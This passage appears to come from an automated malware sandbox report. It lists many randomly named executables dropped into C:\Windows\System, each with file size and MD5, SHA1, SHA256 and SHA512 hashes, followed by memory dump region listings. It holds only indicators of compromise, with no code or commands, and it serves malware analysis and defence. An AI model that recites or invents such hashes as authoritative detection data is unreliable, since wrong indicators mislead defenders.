5819fbbfed42b28d461029b06a1febd4465965d085cbbc97654259100477bb03

SHA512
7bfa080bb498c91a530e1e31c45715ae6de4e5e3018d5b626feaa3faad6c8fa90f5018cd92832bbd02b1f0ae9629ea3fe308a09638cde0eba79e370b351b8a03

Download Submit
C:\Windows\System\KUuTiyt.exe

Filesize
1.8MB

MD5
5b6417911b363fe0ec2072325b35278c

SHA1
71d9a2993133c9d0e707ea1bfc021c4b8b1c1706

SHA256
a01a203580d1f4dca7a575f4beae7ec9ccc8b424986f9634a9bd91d0d9af9820

SHA512
cc3035972c01c594d0ff7c3cf6e34e1a28fc5eb77fb06fd215a4e9ad25399e163f9f3e9d47cfe89e2a1acb4b3e733bf35ce94bf8b047c868c298d16f7694acd9

Download Submit
C:\Windows\System\LUWVoRP.exe

Filesize
1.8MB

MD5
81951b585f8750fea29c430bd422b2c8

SHA1
930372f3ce8d6435994ea88bf82f96f234c735bf

SHA256
8c7ec87414cc6c93e9e5e1c3921dd8853b8a081d525d061ec2d4a04923d12390

SHA512
015016f7e0b4e4c31138b3b3e48c450a87c0aa1371f316b92191f230cb3008f047264dd94a36ec84bd055f8754b38a3969531f94b42beffc36650c6434de9e22

Download Submit
C:\Windows\System\MlGxCOW.exe

Filesize
1.8MB

MD5
697a9986884224784ec5a38f421ca40d

SHA1
a0b71198e17b55cf3a0195ae37f8d55d64196d30

SHA256
f002999227279e8e1d154e07a6fa5409d41b24e3c0b511daebd1166e2a04a976

SHA512
489b477bdc6d35401455abcd67525b44141542facb0a03a4e605410c2ca69263be831d07fae2ffb155a88b6a7e5fd68c4bf557873357c7a54b4fb766f0e832cc

Download Submit
C:\Windows\System\NxTWQLz.exe

Filesize
1.8MB

MD5
44d0911930f3626c35aa44b70cfcb5b7

SHA1
816392b9071bc00c37eaa28791d3ee2ad06dfa99

SHA256
ccec635c836d494870e3b24bc639886a3064cd3f6d9ee609441d454f63e6ebe2

SHA512
9bfb8628a8afdc4f75714abbabc969d09563145b93f28642d6989f4588f1fb72f4f167af7a61822515932bf42d177fd17134c042c39068a7a6705a02e8791e79

Download Submit
C:\Windows\System\OFfbmjE.exe

Filesize
1.8MB

MD5
500a1dabb66fbeaa67f906eda402ff52

SHA1
6c629293e3fd9dbaf6850246931be0f5ae509e7b

SHA256
bbb404269852cb5a3f5f00e8b8075a1e0becc9a6d3886da0e4aa0791fde9246f

SHA512
876b812719faf32bca57b0cef0206849cda6f58e04708a4f9e18516e8b345680c2507770425005c5bb98f2dd67a6ec922578d1cd7f08a99f5dbe725f612c4512

Download Submit
C:\Windows\System\RuLiWkf.exe

Filesize
1.8MB

MD5
ff01c522df4a5e53c00864191722e162

SHA1
3d7059b5f085aad6dc450f6a8f43f46c037b080e

SHA256
c2f287b051a0caa2fba8df5374fb54bfd76c42952e7ffd72164fe4ec4abd5b64

SHA512
639b2c57de9b906c1df6627f240e8a4bd6ddd51d073471fb1d0e902bcbf5ff138a2396a47632286b3df7c11342466838639be1621cb75fa444d142bd42267dc4

Download Submit
C:\Windows\System\SmQDXHj.exe

Filesize
1.8MB

MD5
9ed870a56df3211c56332cc695b650a7

SHA1
89a4b358d90e9c13cd1a5af97f1a0117d89a3720

SHA256
809e9eaa5841264fe0891a23cd4d08793aa88bab3bdd7726a98b401e39c9b73f

SHA512
29970a31517377a12e0a24d1a04e5dd9ba9006462300a0eab1ccd3f4ed85b4c8d47751fd8e5a5c383e4bd1fe87ccc97cfc1e4608d194c5c861d7018d1a92d586

Download Submit
C:\Windows\System\SxxHczm.exe

Filesize
1.8MB

MD5
72168ce8511d835b402fe6f2d51fbe78

SHA1
3276d0ea8ced1d3938eedf6e91dfbf8af8770dd1

SHA256
7b9e5d4823e0311b5be3ccc07d31511d069a6d70b135476cc90305c457b46827

SHA512
aa95e29e6261851d79068b3c3e276cb610430440e580c5ceb0c8290a5e51bdae7ba987d01188bdba989a278d50df67a85855151734ba2a0e1cf9640d2fa049ce

Download Submit
C:\Windows\System\VEgJYAN.exe

Filesize
1.8MB

MD5
827c1cb7c8d340094c7ea6d6e79af606

SHA1
d1435293dacd6485bd0cffb936e671f4c4adb672

SHA256
163112dfb955539c7bf32ed64a254909775a96e4d6817d962b85eb28c80163f9

SHA512
428d2b96e09d4a2197d1ba4a63bb4342c860a1f15459cce5fe0513e3167837fbbc006b07b064a9d4e93f25dd55257d43f9bafd4ace2bedf24515e90d627dd63c

Download Submit
C:\Windows\System\VKPzBeL.exe

Filesize
1.8MB

MD5
63eb53a44fe11e2bddc621a7eef7b471

SHA1
c7622f634e80d91a902ee623213fe48f4b1073f0

SHA256
54e48f376430c88f1257f313bcf5681804a3b4a29c7a63ed2542a81b12cdc61f

SHA512
66bd4f5162fa7a030d22960cd4a48673d329f31bf39a858af45d1f063adc9330cc78f3eb8dd2c645b07f7177fbc1f526e198a466f82424a3edb38dbbd37628d4

Download Submit
C:\Windows\System\WKHDome.exe

Filesize
1.8MB

MD5
9076c4b3f6f0500b652da5dc088f82c1

SHA1
8c095587ee01adad713c480b18f3356affd76e63

SHA256
ec36e4a744047611691bf3468b8ea2687adba91c11e0269c36d5b2c0631f9409

SHA512
ea4ffde13269ceb4ec02f60580e35e12afb34372e4a29e47ae7b76bc2cb4025a3b15933ec2991b4bca66747e0c686f3936ee6ebc706517fdfd148a5c6bae9fd2

Download Submit
C:\Windows\System\WOemIoJ.exe

Filesize
1.8MB

MD5
90c4ec1c6de1ad2edea052a731a5e4eb

SHA1
718b1bc5f5ab296872ca9db9611cc0f88cffe53b

SHA256
fcfa256190a113655673f184c30304af328fca14492ccc60bf456fea0e4ae300

SHA512
7b557a39d1005a71d0db35655558e5c252ff37dc3d67b499988c05bc1a81322f3d01c729059342343d287492710a61e30961e58fb12c6b26ad9db102490f9f53

Download Submit
C:\Windows\System\WwNOeJT.exe

Filesize
1.8MB

MD5
3fc2bbcfda8318735a75206fc7435d6e

SHA1
279b61b365f8ee0fdb06e37046a2f793923f8d85

SHA256
6a14af896a8fb1ed6b1c39ac4a7233e816f48f8e27f31e4131188eb3c8d9eb60

SHA512
9cd55102eeb7154e9fd4e41604483c3658a6538f463645ddfa9e6f28cceefe4c7d7bc2d2d9248dc20097bf248d20a54ca0c0ab343fb68e1b10588878d3789b5d

Download Submit
C:\Windows\System\eQtENRN.exe

Filesize
1.8MB

MD5
b3b57042955b6e2ac9d93a04c528fa6a

SHA1
62c3cc2add5cfdbedd2eb96daaea65ec05e33040

SHA256
e827bf5a60ed4379bc61acb90c1239106ad772d261eafc06c9bff91908c135e2

SHA512
baf4f92474964b15a2a50b53385ef38f0c660c0647ac54599cd18e262389acafdb0873c0778200ea1552ba775c2c341694b38a44e51fdc90253e35ddb1c1c388

Download Submit
C:\Windows\System\iUEtfNk.exe

Filesize
1.8MB

MD5
96c0c2fefa3f4342f34a67ac63d31e32

SHA1
472b131bda895e0d6a1f250dcc516980bf3b2060

SHA256
df92955783dc903a4e8dec5da89d9c1a37eb77a2f79959f46907e5f9a2c9f54e

SHA512
9384e14f1609c53d1373f13e31baf9fd0f01648609d996c153ed2d654369a6fef542bb7b4c30c6b14a50a0d43acf19656c60291fa451947074d03d929ce54c4e

Download Submit
C:\Windows\System\lNNzYID.exe

Filesize
1.8MB

MD5
d985c93a6e0e11ddec296f5841f456bc

SHA1
869028f391b462e7276df4b872619239a4de6eb8

SHA256
06c52a0bf7855cfec134bd8f742f5cbddd929ece141b1635cfb9cac77489bb73

SHA512
dd34e7355e36c0f27bd620c3859566cc3bd8f867ff208ea40bf174600b80c6632dc4691c34f6e5553f74700675e4c69e4436f5dcba63ab3efdf2c07492b1a7a0

Download Submit
C:\Windows\System\lwgwsmF.exe

Filesize
1.8MB

MD5
11eb0ef6e716019d5899acd0a57deaff

SHA1
ed3d91a13a1d8bc984a14fa3034bf8caae5bb84f

SHA256
4c525fedb5f9382026b668fbf84836a1a5bba0b7ba7611efaaa861e61fbb23eb

SHA512
936f790b495fc66a3c075a3c1b8b3382d0423c2c9f9a3ae6a23271cee83ef185b96d872e37bdf9a05392175f2fd566986b92be640b6f9eaa3a8040e69a06d3a0

Download Submit
C:\Windows\System\mfbMNrE.exe

Filesize
1.8MB

MD5
3451bf7b36c11447a8876019c9ccf23f

SHA1
1c8f57dba3c43087c4f9787e6f67cc52b553f841

SHA256
798d0aeb656f2e7ee8a7fa57775f9925e9e8843882f264b6f46f0f997dfee7bc

SHA512
44ddca4ad9137929c5e89f0ddada478efbfd46a32ba82b8cfbdda9eb0af6a22fd981c14acc3e161f5efa06d3e350f98c48816acb14c3d75890dd63b6049393eb

Download Submit
C:\Windows\System\nQTIDaY.exe

Filesize
1.8MB

MD5
4132c8545d1ebdb70f9793fc62a698c8

SHA1
bef70965c2d791d1a9f7b480c927e3ffab850e9d

SHA256
cb60d9ce6524d0575dea715b57e9b92ee83d2faa681877b0c277ef36a9803eaa

SHA512
ae0c5378cefcb7bff734d72e0aafa6922f1ad70ad7e928efde23e304f083ae55f392e03be7c60949f419975e976c1fad9c48c7dc9501e0d567f676894e1fb122

Download Submit
C:\Windows\System\phsNfOg.exe

Filesize
1.8MB

MD5
ef11f7c08a8b74e53896376779f3fc7b

SHA1
d0bcb1da5fa3d17f436e6d78c7d28ec465dbd2ee

SHA256
b74795474fe6639d9f385d6e22171ff57a38d7eb2b83748f9895c7cde5393cf6

SHA512
b4a9960819b762c13c9a7d94a873adb8006b996b9d7893ba878b14c50540a001f099ed6c142a4ab4e1688ad6644f2e456f33449901de47d7b1011ad63089f623

Download Submit
C:\Windows\System\uCcUFcV.exe

Filesize
1.8MB

MD5
32ac1b48dad6af4ed68122ea9439362c

SHA1
e6fe0016283c8fccea37eceb1fa6210ed895f4fd

SHA256
4a6f51c6e21d6e281a547b36b435774e24188cee929c9a20ec2fac2ca71ce5a9

SHA512
df65bfc296f363f5b0b5fc60bb1c2648411653490ec870380281e05e94f4431e7714a52ba0e0c1c74324fd5eba2e156a8701b950b6e34c766d598058e507ab89

Download Submit
C:\Windows\System\uuvNzZo.exe

Filesize
8B

MD5
460fb09079c44cd1440e0ffa53682a9c

SHA1
e466325d08b7cca6c07b3cf9b10c00cdd796ed7d

SHA256
1a4a21d8fd7e43238292bd4810ddcf1478b524d03fcb593597f9b7314e16b974

SHA512
762f05ad1ab8427e0dbae4ac041dc1f884d45f144772be7d5d65d152c8c7310d1d57227e0a8e3f31288c6b9c05ba7eda2afe51a52a84e155769531758bf1c077

Download Submit
C:\Windows\System\uxJPbaT.exe

Filesize
1.8MB

MD5
625f39b5df3089502685874e680476c7

SHA1
0a4e259013f025b1fbe1aff107d0283601adc721

SHA256
e904f01ea63754e034773e4d90061b3d0766d4e500921fea0491328badd1d347

SHA512
445653e6870984a91e0b94ea6b51c0c51dfcd5f1b963e7b37272e500e21be1db0c0f3b5271cfe900c2c1d73dd3e424daf8b2a3d88974d4a2847ae6d71184c93b

Download Submit
C:\Windows\System\vDIUxiW.exe

Filesize
1.8MB

MD5
f5e26b633b0fdb3e58937d3d80e36b62

SHA1
976c309927c8c896d3898d13fa12435ba238b398

SHA256
33adb0bd7c42e11229eaa855fc159c51615aa6bcdc5f3614a9eb53148bb941b1

SHA512
0bd9ff8370baea845211d44b924ac8658aca37b6b53f8ce5f160240c9c1f6ffe67116de876f3ef6b02156b719502784f875230e1cafbbb8e035bf600ebee9fa2

Download Submit
C:\Windows\System\wnlJjNc.exe

Filesize
1.8MB

MD5
db97d9628f8b7118d78c6473ef4b90ba

SHA1
8277ce29a9cd861cfb2de599151b78f3e56c5bea

SHA256
65603d7d52bb20b35f503d8e749caa8b19f94149ee8ff368e15fe3d6b8db038e

SHA512
17b8d8ab1185331097bf3087e2c04dee175bebe8127e05cee44b8b7051e7ff3eeae1bdd8b4d0e98a3835493881468344c718473be89a20e5c4d6eaf2b50e497b

Download Submit
C:\Windows\System\worLSiU.exe

Filesize
1.8MB

MD5
76595c22bf6c6e5620adcea8b73f7951

SHA1
bfdad229ecc3ffe5fa493dd2c2aa466da388b871

SHA256
9725e9239ee0ec4e4f3f7641eee50e3a4c2e15b9e277907941d4fa41511dca37

SHA512
c0dab09d914a6a2172cdf43fffc1f2f1e81dcbd91a57bfba4c7e083f3fb6685b84863f18fb05fdee8b953c14d061838167f7a88232ce43cc2ebf972bfbb2b220

Download Submit
C:\Windows\System\xVmJGOi.exe

Filesize
1.8MB

MD5
7f921b4be44c4535e8fa6f91a6b5fa7f

SHA1
46f27be1d2475888144dc598377c542b3b4cf7eb

SHA256
be70820d586972647288e643a4c5d546118a144aab169b866da36985284da57c

SHA512
cf9cbb82ad762455ac4af30d16e35ecd9dd82ddaa98de800b47b6e5d1118ed287d5fe8e2d74885fbb774c91b56eea92f672963a0ac32ff90aee5d265527e3c98

Download Submit
C:\Windows\System\xskkupC.exe

Filesize
1.8MB

MD5
c398d6813fc1bf46ee5637b4586b2173

SHA1
9d607464493be66877d0331c39d08896a3654c1c

SHA256
b18bf530e7599c6ad6c867bc2597202bcb4dba0be29287b03b4a09baa8a35ae5

SHA512
40e2e8fe3b95a012b35ee62479380ea9efe58d4023c0e994adfab63fa063d28ba185d773e08339ac4dadcf2b2c77669e505990cd48793b02cf07e328df9579b1

Download Submit
memory/244-3643-0x00007FF7AB330000-0x00007FF7AB722000-memory.dmp

Filesize
3.9MB

Download
memory/244-178-0x00007FF7AB330000-0x00007FF7AB722000-memory.dmp

Filesize
3.9MB

Download
memory/612-200-0x00007FF7F5910000-0x00007FF7F5D02000-memory.dmp

Filesize
3.9MB

Download
memory/612-3683-0x00007FF7F5910000-0x00007FF7F5D02000-memory.dmp

Filesize
3.9MB

Download
memory/756-216-0x00007FF67C090000-0x00007FF67C482000-memory.dmp

Filesize
3.9MB

Download
memory/756-3734-0x00007FF67C090000-0x00007FF67C482000-memory.dmp

Filesize
3.9MB

Download
memory/876-3655-0x00007FF61FED0000-0x00007FF6202C2000-memory.dmp

Filesize
3.9MB

Download
memory/876-184-0x00007FF61FED0000-0x00007FF6202C2000-memory.dmp

Filesize
3.9MB

Download
memory/1300-131-0x00007FF794D10000-0x00007FF795102000-memory.dmp

Filesize
3.9MB

Download
memory/1300-3660-0x00007FF794D10000-0x00007FF795102000-memory.dmp

Filesize
3.9MB

Download
memory/1440-69-0x00007FF7F81E0000-0x00007FF7F85D2000-memory.dmp

Filesize
3.9MB

Download
memory/1440-3609-0x00007FF7F81E0000-0x00007FF7F85D2000-memory.dmp

Filesize
3.9MB

Download
memory/1660-167-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp

Filesize
10.8MB

Download
memory/1660-110-0x00000229E3460000-0x00000229E3482000-memory.dmp

Filesize
136KB

Download
memory/1660-383-0x00000229FCB60000-0x00000229FD306000-memory.dmp

Filesize
7.6MB

Download
memory/1660-60-0x00007FFE7B8E0000-0x00007FFE7C3A1000-memory.dmp

Filesize
10.8MB

Download
memory/1660-3-0x00007FFE7B8E3000-0x00007FFE7B8E5000-memory.dmp

Filesize
8KB

Download
memory/2292-146-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp

Filesize
3.9MB

Download
memory/2292-4255-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp

Filesize
3.9MB

Download
memory/2292-3610-0x00007FF6559B0000-0x00007FF655DA2000-memory.dmp

Filesize
3.9MB

Download
memory/2296-3709-0x00007FF615220000-0x00007FF615612000-memory.dmp

Filesize
3.9MB

Download
memory/2296-145-0x00007FF615220000-0x00007FF615612000-memory.dmp

Filesize
3.9MB

Download
memory/2312-65-0x00007FF65EFD0000-0x00007FF65F3C2000-memory.dmp

Filesize
3.9MB

Download
memory/2312-3631-0x00007FF65EFD0000-0x00007FF65F3C2000-memory.dmp

Filesize
3.9MB

Download
memory/2740-3676-0x00007FF7A4EB0000-0x00007FF7A52A2000-memory.dmp

Filesize
3.9MB

Download
memory/2740-196-0x00007FF7A4EB0000-0x00007FF7A52A2000-memory.dmp

Filesize
3.9MB

Download
memory/2796-149-0x00007FF7716D0000-0x00007FF771AC2000-memory.dmp

Filesize
3.9MB

Download
memory/2796-3725-0x00007FF7716D0000-0x00007FF771AC2000-memory.dmp

Filesize
3.9MB

Download
memory/3292-190-0x00007FF789E30000-0x00007FF78A222000-memory.dmp

Filesize
3.9MB

Download
memory/3292-3669-0x00007FF789E30000-0x00007FF78A222000-memory.dmp

Filesize
3.9MB

Download
memory/3352-3628-0x00007FF635520000-0x00007FF635912000-memory.dmp

Filesize
3.9MB

Download
memory/3352-89-0x00007FF635520000-0x00007FF635912000-memory.dmp

Filesize
3.9MB

Download
memory/3368-3715-0x00007FF6D2D70000-0x00007FF6D3162000-memory.dmp

Filesize
3.9MB

Download
memory/3368-208-0x00007FF6D2D70000-0x00007FF6D3162000-memory.dmp

Filesize
3.9MB

Download
memory/3628-15-0x00007FF6CF0B0000-0x00007FF6CF4A2000-memory.dmp

Filesize
3.9MB

Download
memory/3636-103-0x00007FF7324E0000-0x00007FF7328D2000-memory.dmp

Filesize
3.9MB

Download
memory/3636-3621-0x00007FF7324E0000-0x00007FF7328D2000-memory.dmp

Filesize
3.9MB

Download
memory/3692-3617-0x00007FF61BD90000-0x00007FF61C182000-memory.dmp

Filesize
3.9MB

Download
memory/3692-83-0x00007FF61BD90000-0x00007FF61C182000-memory.dmp

Filesize
3.9MB

Download
memory/3752-3644-0x00007FF783C90000-0x00007FF784082000-memory.dmp

Filesize
3.9MB

Download
memory/3752-116-0x00007FF783C90000-0x00007FF784082000-memory.dmp

Filesize
3.9MB

Download
memory/4304-34-0x00007FF650FD0000-0x00007FF6513C2000-memory.dmp

Filesize
3.9MB

Download
memory/4332-1-0x0000015C45930000-0x0000015C45940000-memory.dmp

Filesize
64KB

Download
memory/4332-0-0x00007FF7A9550000-0x00007FF7A9942000-memory.dmp

Filesize
3.9MB

Download
memory/4628-3704-0x00007FF6B22B0000-0x00007FF6B26A2000-memory.dmp

Filesize
3.9MB

Download
memory/4628-137-0x00007FF6B22B0000-0x00007FF6B26A2000-memory.dmp

Filesize
3.9MB

Download
memory/4740-204-0x00007FF70B770000-0x00007FF70BB62000-memory.dmp

Filesize
3.9MB

Download
memory/4740-3699-0x00007FF70B770000-0x00007FF70BB62000-memory.dmp

Filesize
3.9MB

Download
memory/4840-142-0x00007FF75F140000-0x00007FF75F532000-memory.dmp

Filesize
3.9MB

Download
memory/4840-3720-0x00007FF75F140000-0x00007FF75F532000-memory.dmp

Filesize
3.9MB

Download
memory/4904-156-0x00007FF649370000-0x00007FF649762000-memory.dmp

Filesize
3.9MB

Download
memory/4904-3565-0x00007FF649370000-0x00007FF649762000-memory.dmp

Filesize
3.9MB

Download
memory/4988-212-0x00007FF663B40000-0x00007FF663F32000-memory.dmp

Filesize
3.9MB

Download
memory/4988-3730-0x00007FF663B40000-0x00007FF663F32000-memory.dmp

Filesize
3.9MB

Download